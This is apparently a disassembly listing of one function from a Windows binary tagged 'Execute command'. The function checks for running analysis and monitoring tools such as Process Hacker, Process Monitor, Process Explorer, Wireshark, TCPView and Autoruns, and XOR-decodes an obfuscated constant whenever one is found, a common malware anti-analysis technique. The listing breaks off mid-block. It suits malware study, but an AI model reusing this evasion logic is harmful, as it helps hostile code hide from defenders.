Function at 0x140017f50
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov eax, 0x1040
call fcn.14004da50
sub rsp, rax
movaps xmmword [rsp + 0x1030], xmm6
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140089180]
xor rax, rsp
mov qword [rbp + 0xfe0], rax
xorps xmm0, xmm0
lea rdx, [0x1400791e8]
xorps xmm1, xmm1
lea rcx, [rbp + 8]
mov r8d, 0xb
movups xmmword [rbp + 8], xmm0
movdqu xmmword [rbp + 0x18], xmm1
call fcn.14000be70
lea rcx, [rbp + 8]
call fcn.140017de0
mov rdx, qword [rbp + 0x20]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140017ff1
mov rcx, qword [rbp + 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
movdqa xmm6, xmmword [0x14007b410]
mov byte [rbp + 8], 0
movdqu xmmword [rbp + 0x18], xmm6
test rbx, rbx
je 0x1400180f7
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x380]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x380], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.ProcessHacker.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x28]
mov r8d, 0x11
movups xmmword [rbp + 0x28], xmm0
movdqu xmmword [rbp + 0x38], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x28]
call fcn.140017de0
mov rdx, qword [rbp + 0x40]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140018163
mov rcx, qword [rbp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001815e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x28], 0
movdqu xmmword [rbp + 0x38], xmm6
test rbx, rbx
je 0x140018261
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x3a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x3a0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Dump_Fixer.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x48]
mov r8d, 0xe
movups xmmword [rbp + 0x48], xmm0
movdqu xmmword [rbp + 0x58], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x48]
call fcn.140017de0
mov rdx, qword [rbp + 0x60]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400182cd
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400182c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x48], 0
movdqu xmmword [rbp + 0x58], xmm6
test rbx, rbx
je 0x1400183cb
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x3c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x3c0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.kdstinker.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x68]
mov r8d, 0xd
movups xmmword [rbp + 0x68], xmm0
movdqu xmmword [rbp + 0x78], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x68]
call fcn.140017de0
mov rdx, qword [rbp + 0x80]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001843a
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018435
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x68], 0
movdqu xmmword [rbp + 0x78], xmm6
test rbx, rbx
je 0x140018538
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x3e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.tcpview.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x88]
mov r8d, 0xb
movups xmmword [rbp + 0x88], xmm0
movdqu xmmword [rbp + 0x98], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x88]
call fcn.140017de0
mov rdx, qword [rbp + 0xa0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400185b6
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400185b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x88], 0
movdqu xmmword [rbp + 0x98], xmm6
test rbx, rbx
je 0x1400186ba
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x400]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x400], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.autoruns.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xa8]
mov r8d, 0xc
movups xmmword [rbp + 0xa8], xmm0
movdqu xmmword [rbp + 0xb8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xa8]
call fcn.140017de0
mov rdx, qword [rbp + 0xc0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140018738
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018733
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0xa8], 0
movdqu xmmword [rbp + 0xb8], xmm6
test rbx, rbx
je 0x14001883c
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x420]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x420], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.autorunsc.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xc8]
mov r8d, 0xd
movups xmmword [rbp + 0xc8], xmm0
movdqu xmmword [rbp + 0xd8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xc8]
call fcn.140017de0
mov rdx, qword [rbp + 0xe0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400188ba
mov rcx, qword [rbp + 0xc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188b5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0xc8], 0
movdqu xmmword [rbp + 0xd8], xmm6
test rbx, rbx
je 0x1400189be
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x440]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x440], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.filemon.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xe8]
mov r8d, 0xb
movups xmmword [rbp + 0xe8], xmm0
movdqu xmmword [rbp + 0xf8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xe8]
call fcn.140017de0
mov rdx, qword [rbp + 0x100]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140018a3c
mov rcx, qword [rbp + 0xe8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018a37
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0xe8], 0
movdqu xmmword [rbp + 0xf8], xmm6
test rbx, rbx
je 0x140018b40
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x460]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x460], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.procmon.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x108]
mov r8d, 0xb
movups xmmword [rbp + 0x108], xmm0
movdqu xmmword [rbp + 0x118], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x108]
call fcn.140017de0
mov rdx, qword [rbp + 0x120]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140018bbe
mov rcx, qword [rbp + 0x108]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018bb9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x108], 0
movdqu xmmword [rbp + 0x118], xmm6
test rbx, rbx
je 0x140018cc2
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x480]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x480], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.regmon.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x128]
mov r8d, 0xa
movups xmmword [rbp + 0x128], xmm0
movdqu xmmword [rbp + 0x138], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x128]
call fcn.140017de0
mov rdx, qword [rbp + 0x140]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140018d40
mov rcx, qword [rbp + 0x128]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018d3b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x128], 0
movdqu xmmword [rbp + 0x138], xmm6
test rbx, rbx
je 0x140018e44
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x4a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0x4a0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.procexp.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x148]
mov r8d, 0xb
movups xmmword [rbp + 0x148], xmm0
movdqu xmmword [rbp + 0x158], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x148]
call fcn.140017de0
mov rdx, qword [rbp + 0x160]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140018ec2
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018ebd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x148], 0
movdqu xmmword [rbp + 0x158], xmm6
test rbx, rbx
je 0x140018fc6
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x4c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x4c0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400792a8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x168]
mov r8d, 0x14
movups xmmword [rbp + 0x168], xmm0
movdqu xmmword [rbp + 0x178], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x168]
call fcn.140017de0
mov rdx, qword [rbp + 0x180]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019044
mov rcx, qword [rbp + 0x168]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001903f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x168], 0
movdqu xmmword [rbp + 0x178], xmm6
test rbx, rbx
je 0x140019148
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x4e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x4e0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Wireshark.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x188]
mov r8d, 0xd
movups xmmword [rbp + 0x188], xmm0
movdqu xmmword [rbp + 0x198], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x188]
call fcn.140017de0
mov rdx, qword [rbp + 0x1a0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400191c6
mov rcx, qword [rbp + 0x188]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400191c1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x188], 0
movdqu xmmword [rbp + 0x198], xmm6
test rbx, rbx
je 0x1400192ca
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x500]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x500], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400792d0]
xorps xmm1, xmm1
lea rcx, [rbp + 0x1a8]
mov r8d, 0xb
movups xmmword [rbp + 0x1a8], xmm0
movdqu xmmword [rbp + 0x1b8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x1a8]
call fcn.140017de0
mov rdx, qword [rbp + 0x1c0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019348
mov rcx, qword [rbp + 0x1a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019343
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x1a8], 0
movdqu xmmword [rbp + 0x1b8], xmm6
test rbx, rbx
je 0x14001944c
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x520]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x520], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400792e0]
xorps xmm1, xmm1
lea rcx, [rbp + 0x1c8]
mov r8d, 0x10
movups xmmword [rbp + 0x1c8], xmm0
movdqu xmmword [rbp + 0x1d8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x1c8]
call fcn.140017de0
mov rdx, qword [rbp + 0x1e0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400194ca
mov rcx, qword [rbp + 0x1c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400194c5
